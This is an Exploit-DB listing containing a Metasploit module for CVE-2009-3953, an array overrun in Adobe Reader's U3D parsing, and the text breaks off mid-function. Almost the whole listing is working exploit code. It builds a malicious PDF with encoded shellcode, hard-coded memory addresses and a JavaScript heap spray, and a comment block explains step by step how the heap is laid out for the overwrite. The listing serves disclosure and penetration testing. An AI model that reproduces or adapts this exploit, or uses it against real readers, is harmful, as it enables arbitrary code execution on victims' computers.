Exploit-DB #16622
Description: Adobe - U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (2)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: adobe_u3d_meshdecl.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
			'Description'    => %q{
					This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
					Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
					specially crafted pdf that a contains malformed U3D data, an attacker may
					be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
					'jduck'
				],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2009-3953' ],
					[ 'OSVDB', '61690' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
					'DisableNops'	 => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# test results (on Windows XP SP3)
					# reader 7.0.5 - untested
					# reader 7.0.8 - untested
					# reader 7.0.9 - untested
					# reader 7.1.0 - untested
					# reader 7.1.1 - untested
					# reader 8.0.0 - untested
					# reader 8.1.2 - works
					# reader 8.1.3 - not working :-/
					# reader 8.1.4 - untested
					# reader 8.1.5 - untested
					# reader 8.1.6 - untested
					# reader 9.0.0 - untested
					# reader 9.1.0 - works
					[ 'Adobe Reader Windows Universal (JS Heap Spray)',
						{
							'Size'		=> (6500/20),
							'DataAddr'	=> 0x09011020,
							'WriteAddr'	=> 0x7c49fb34,
						}
					],
				],
			'DisclosureDate' => 'Oct 13 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)

	end



	def exploit
		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Make some nops
		nops    = Rex::Text.to_unescape(make_nops(4))

=begin

Original notes on heap technique used in this exploit:

## PREPAREHOLES:
## We will construct 6500*20 bytes long chunks starting like this
## |0         |6   |8       |C        |24                    |size
## |00000...  |0100|20100190|0000...  |    ......pad......   |
##                 \      \
##                 \      \ -Pointer: to controlled data
##                   \ -Flag: must be 1
## -Adobe will handle this ragged structure if the Flag is on.
## -Adobe will get 'what to write where' from the memory pointed
##  by our supplied Pointer.
##
## then allocate a bunch of those ..
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
##    |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
##
## and then free some of them...
## .. | chunk | free  | chunk |  free  | chunk |  free  | chunck | ..
##    |XXXXXXX|       |XXXXXXX|        |XXXXXXX|        |XXXXXXXX|
##
## This way controlling when the next 6500*20 malloc will be
## followed with. We freed more than one hole so it became tolerant
## to some degree of malloc/free trace noise.
## Note the 6500 is arbitrary it should be a fairly unused chunk size
## not big enough to cause a different type of allocation.
## Also as we don't need to reference it from anywhere we don't care
## where this hole layout is placed in memory.

## PREPAREMEMORY:
## In the next technique we make a big-chunk of 0x10000 bytes
## repeating a 0x1000 bytes long mini-chunk of controled data.
## Big-chunks are always allocated aligned to 0x1000. And if we
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
## will have our mini chunk
##
## A mini-chunk will have this look
##
## |0         |10          |54         |?           |0xff0  |0x1000
## |00000...  |  POINTERS  |    nops   | shellcode  |  pad  |
##
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
## But we use 0x09011064.
## POINTERS looks like this:
## ...

=end

		# prepare the hole
		daddr = target['DataAddr']
		hole_data = [0,0,1,daddr].pack('VvvV')
		#padding
		hole_data << "\x00" * 24
		hole = Rex::Text.to_unescape(hole_data)

		# prepare ptrs
		ptrs_data = [0].pack('V')
		#where to write
		ptrs_data << [target['WriteAddr'] / 4].pack('V')
		#must be greater tan 5 and less than x for getting us where we want
		ptrs_data << [6].pack('V')
		#what to write
		ptrs_data << [(daddr+0x10)].pack('V')
		#autopointer for print magic(tm)
		ptrs_data << [(daddr+0x14)].pack('V')
		#function pointers for print magic(tm)
		#pointing to our shellcode
		ptrs_data << [(daddr+0x44)].pack('V') * 12
		ptrs = Rex::Text.to_unescape(ptrs_data)

		js_doc = <<-EOF
function prepareHoles(slide_size)
{
	var size = 1000;
	var xarr = new Array(size);
	var hole = unescape("#{hole}");
	var pad = unescape("%u5858");
	while (pad.length <= slide_size/2 - hole.length)
		pad += pad;
	for (loop1=0; loop1 < size; loop1+=1)
	{
		ident = ""+loop1;
		xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
	}
	for (loop2=0;loop2<100;loop2++)
	{
		for (loop1=size/2; loop1 < size-2; loop1+=2)
		{
			xarr[loop1]=null;
			xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
			xarr[loop1]=null;
		}
	}
	return xa